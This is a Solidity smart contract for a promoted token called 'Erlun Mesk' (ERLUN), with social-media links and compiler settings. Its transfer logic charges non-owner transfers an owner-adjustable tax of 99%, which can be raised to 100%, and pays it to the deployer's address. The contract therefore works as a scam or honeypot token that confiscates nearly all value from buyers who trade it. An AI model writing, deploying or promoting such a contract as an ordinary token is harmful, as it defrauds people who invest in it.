Erlun Mesk

// SPDX-License-Identifier: MIT

/**
https://twitter.com/ErlunMesk
https://t.me/ErlunMesk
http://erlunmesk.pro/
*/
pragma solidity ^0.8.0;

contract ErlunMesk {
    string public constant name = "Erlun Mesk";
    string public constant symbol = "ERLUN";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public owner;
    bool public ownershipRenounced;

    uint256 public transactionTaxRate = 99; // Initial transaction tax rate is 99%

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
    event OwnershipRenounced(address indexed previousOwner);
    event TransactionTaxRateChanged(uint256 newTaxRate);

    constructor() {
        totalSupply = 100000000 * 10**decimals;
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(msg.sender == owner && !ownershipRenounced, "Only the owner can call this function");
        _;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value) public returns (bool success) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public returns (bool success) {
        _transfer(from, to, value);
        _approve(from, msg.sender, allowance[from][msg.sender] - value);
        return true;
    }

    function renounceOwnership() public onlyOwner {
        require(!ownershipRenounced, "Ownership has already been renounced");
        ownershipRenounced = true;
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function setTransactionTaxRate(uint256 newTaxRate) public onlyOwner {
        require(newTaxRate <= 100, "Tax rate cannot exceed 100%");
        transactionTaxRate = newTaxRate;
        emit TransactionTaxRateChanged(newTaxRate);
    }

    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "Insufficient balance");

        uint256 taxAmount = 0;
        if (from != owner && to != owner) {
            taxAmount = (value * transactionTaxRate) / 100;
            balanceOf[owner] += taxAmount;
        }

        uint256 transferAmount = value - taxAmount;

        balanceOf[from] -= value;
        balanceOf[to] += transferAmount;

        emit Transfer(from, to, transferAmount);
    }

    function _approve(address tokenOwner, address spender, uint256 value) internal {
        allowance[tokenOwner][spender] = value;
        emit Approval(tokenOwner, spender, value);
    }
}

{
  "compilationTarget": {
    "ErlunMesk.sol": "ErlunMesk"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}